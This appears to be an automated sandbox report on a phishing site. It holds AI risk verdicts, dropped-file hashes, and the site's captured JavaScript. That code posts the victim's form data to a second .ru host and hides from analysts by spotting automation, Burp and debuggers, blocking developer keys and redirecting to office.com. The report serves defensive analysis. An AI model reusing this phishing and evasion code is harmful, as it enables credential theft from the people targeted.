Excluded domains from analysis (whitelisted): greenid-prod-pme.eastus2.cloudapp.azure.com, europe.ocws1.live.com.akadns.net, lgincdnmsftuswe2.azureedge.net, pme-greenid-prod.trafficmanager.net, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, ak.privatelink.msidentity.com, prod.ocws1.live.com.akadns.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, ocsp.digicert.com, login.live.com, star-azurefd-prod.trafficmanager.net, shell.cdn.office.net, update.googleapis.com, acctcdnvzeuno.azureedge.net, ags.privatelink.msidentity.com, acctcdnvzeuno.ec.azureedge.net, san-ion.secure4.scene7.com.edgekey.net, e40491.dscg.akamaiedge.net, www.tm.prd.ags.akadns.net, fpt2.microsoft.com, fs.microsoft.com, acctcdnmsftuswe2.azureedge.net, content-autofill.googleapis.com, www.tm.v4.a.prd.aadg.akadns.net, portal-office365-com.b-0004.b-msedge.net, lgincdnvzeuno.ec.azureedge.net, e19254.dscg.akamaiedge.net, shell.cdn.office.net-c.edgekey.net.globa
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com

Input	Output
URL: https://18QDy4sM2G.lomidore.ru Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://18QDy4sM2G.lomidore.ru
URL: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccountin... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "The script sends data to an untrusted domain (ezmbsgzm.ru) and uses obfuscated URLs, indicating potential data exfiltration and malicious intent. It also redirects to a legitimate domain (office.com) under suspicious conditions, suggesting phishing behavior. These factors contribute to a high-risk score." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA1KgdNE9-bMhAVQ', 'error-callback': wQxhbHkwsp, callback: GvHrCAMQKg, }); function wQxhbHkwsp() { turnstile.reset(); } function GvHrCAMQKg() { var hzayYCzAEi = document.getElementById("SJMjtdCKZq"); hzayYCzAEi.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'vPkyT0'; var PhqQVBlagu = "../cbELED3gqhrtngdI7logkfPpTh2Evw43oVciHh4C9u7o"; fetch('https://O3HqggD31YjdSe7EyaDdWL8UJyzPeZhVxA06xj60zHhmYBHLmti0jv.ezmbsgzm.ru/4306172799134194766bHeUEqXjUGTCLUWUEHYLDBTSPCAKAHEQGIMSXBUAZQAESKHKFEVOBMX', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(PhqQVBlagu, { method: "POST", body: new FormData(hzayYCzAEi) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(BKXVNpADmm == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://www.office.com'); } }); } if(text != 0){ window.location.replace('https://www.office.com'); } }) .catch(error => { window.location.replace('https://www.office.com'); }); }
URL: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccountin... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script includes aggressive DOM manipulation by preventing default actions for key events and context menu, which is a moderate-risk indicator. It also redirects to a trusted domain (office.com), which reduces the risk. However, the use of obfuscated variable names and the detection of debugging tools suggest suspicious behavior, warranting further review." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); BKXVNpADmm = false; (function fSdEniCbCu() { let sOgFcrolUl = false; const QahqPspvul = 100; setInterval(function() { const PWtzjRGsoQ = performance.now(); debugger; const hWIYHQaTku = performance.now(); if (hWIYHQaTku - PWtzjRGsoQ > QahqPspvul && !sOgFcrolUl) { BKXVNpADmm = true; sOgFcrolUl = true; window.location.replace('https://www.office.com'); } }, 100); })();
URL: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccountin... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script contains obfuscated code using base64 encoding, which is a high-risk indicator (+3 points). It also includes aggressive DOM manipulation and event listeners that prevent default actions, which are moderate-risk indicators (+2 points). The script loads external scripts from multiple domains, which could be considered moderate-risk if not transparent (+2 points). The overall behavior suggests potential malicious intent, but without specific evidence of data exfiltration or redirection to malicious domains, the score is capped at 7." }
if(atob("aHR0cHM6Ly8xQlFBLmxvbWlkb3JlLnJ1L2JhU0RVNG8v") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNVeU9VT1NQUkx3IGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI1V5T1VPU1BSTHcgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI1V5T1VPU1BSTHcgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojVXlPVU9TUFJMdyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1V5T1VPU1BSTHcuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMzFweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI1V5T1VPU1BSTHcgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNVeU9VT1NQUkx3IC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojVXlPVU9TUFJMdyAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNVeU9VT1NQUkx3IC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNVeU9VT1NQUkx3IC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojVXlPVU9TUFJMdyAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojVXlPVU9TUFJMdy5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI1V5T1VPU1BSTHcgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNVeU9VT1NQUkx3ICNsWkF6bEFBV0xLIHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQpCS1hWTnBBRG1tID0gZmFsc2U7DQooZnVuY3Rpb24gZlNkRW5pQ2JDdSgpIHsNCiAgICBsZXQgc09nRmNyb2xVbCA9IGZhbHNlOw0KICAgIGNvbnN0IFFhaHFQc3B2dWwgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IFBXdHpqUkdzb1EgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAg
URL: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Conducting security validation on your browsing software.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Security Verfication", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://www.office.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://www.office.com/ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "", "prominent_button_name": "Next", "text_input_field_labels": [ "someone@example.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": [ "someone@example.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": [ "someone@example.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": ["someone@example.com"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": ["someone@example.com"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://www.office.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	```json{ "legit_domain": "live.com", "classification": "wellknown", "reasons": [ "The URL 'signup.live.com' is a subdomain of 'live.com', which is associated with Microsoft services.", "The brand 'u' is not recognized, but the domain 'live.com' is well-known and associated with Microsoft.", "The URL does not contain any suspicious elements such as misspellings or unusual domain extensions.", "The input field 'someone@example.com' is typical for a legitimate signup page." ], "riskscore": 1}
URL: signup.live.com Brands: u Input Fields: someone@example.com
URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	```json{ "legit_domain": "live.com", "classification": "wellknown", "reasons": [ "The URL 'signup.live.com' is a subdomain of 'live.com', which is a legitimate domain owned by Microsoft.", "Microsoft is a well-known brand, and 'live.com' is commonly associated with Microsoft services.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The input field 'someone@example.com' is typical for a signup page, which aligns with the URL's purpose." ], "riskscore": 1}
URL: signup.live.com Brands: Microsoft Input Fields: someone@example.com
URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://www.office.com/ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70 Model: Joe Sandbox AI	```json{ "legit_domain": "live.com", "classification": "wellknown", "reasons": [ "The URL 'signup.live.com' is a subdomain of 'live.com', which is a legitimate domain owned by Microsoft.", "Microsoft is a well-known brand, and 'live.com' is associated with Microsoft's services.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The input field 'someone@example.com' is typical for a signup page, which aligns with the URL's purpose." ], "riskscore": 1}
URL: signup.live.com Brands: Microsoft Input Fields: someone@example.com

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:22:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9893055295962503
Encrypted:	false
SSDEEP:	48:8QdGTiGeH9idAKZdA19ehwiZUklqehry+3:8p/wky
MD5:	FB3F4DA85EFDE3786CFAB7F1012FC903
SHA1:	9B6CE26AFD0EDDF5C0E43338110BD95379A070D9
SHA-256:	6709F5455E4D1A159DFC6BBA1B1B50FD177F94C1ACBFD36F2215B1017EE095AD
SHA-512:	3D713025FDC8631BB3F7FA0B192F01059E9A571ABC425784E002F4D8BEACF0457F5BBFF03106E910E8E16A4A1630300528A162DCCA44E5CC05ED26B5220BDC23
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....V...K..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:22:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002771972104594
Encrypted:	false
SSDEEP:	48:8VdGTiGeH9idAKZdA1weh/iZUkAQkqehUy+2:8e/K9Qpy
MD5:	554B8B29EEB858D36F924FD35EBB2C4F
SHA1:	9436C506A9ED6640EE7BF6579831B6060952220C
SHA-256:	769A8E0E2CD425F92C06B4EB819ED292910E1CF662562FE21B12B3695C3D1C12
SHA-512:	BDE856EBA91A9DDD5250D820DADA9B0931B6864003605D9380734DADF19176B99B443FC1307F6F67B45641E6A862CB4DE0248F62DB94CE5FFE1D9C6D8EE7EFEA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Jk...K..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.01231764463344
Encrypted:	false
SSDEEP:	48:8xPdGTiGsH9idAKZdA14tseh7sFiZUkmgqeh7siy+BX:8xY/4noy
MD5:	E45546742C2BD86D9BD59CC6B56DD834
SHA1:	83C7F854128962ACE6618504BAEE5BF593AF875C
SHA-256:	3800747116015C85957F811D19476639B6EB930150336D33401D14D2EAFFAFFF
SHA-512:	815528BBA78DD4F2C3389278F60B689594D08B574A3B8E03C1BBC1D61B7AAD34E1BD691D47A735A3A1717A00FABBA25962B656857E87E113D628529256E37360
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:22:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.0051190061543975
Encrypted:	false
SSDEEP:	48:8wdGTiGeH9idAKZdA1vehDiZUkwqehgy+R:8J/Ray
MD5:	1E1559094524CFA43558C632B9E55FA7
SHA1:	7A8D8875346D132DE90139533DF13610B89A97FB
SHA-256:	640BDB093B0DDA41AF938236813B3A2ABF599F4A3B106D931516E7AF52A24875
SHA-512:	B4EBAD485DE4BF521C35DC2C1056635EF3506246D68DD68924BC1503E48EF443B278EC9E95CDFB2F0B76EFD017486690020DB8DB4C2B7673AA13E578D76A3D52
Malicious:	false
Reputation:	low
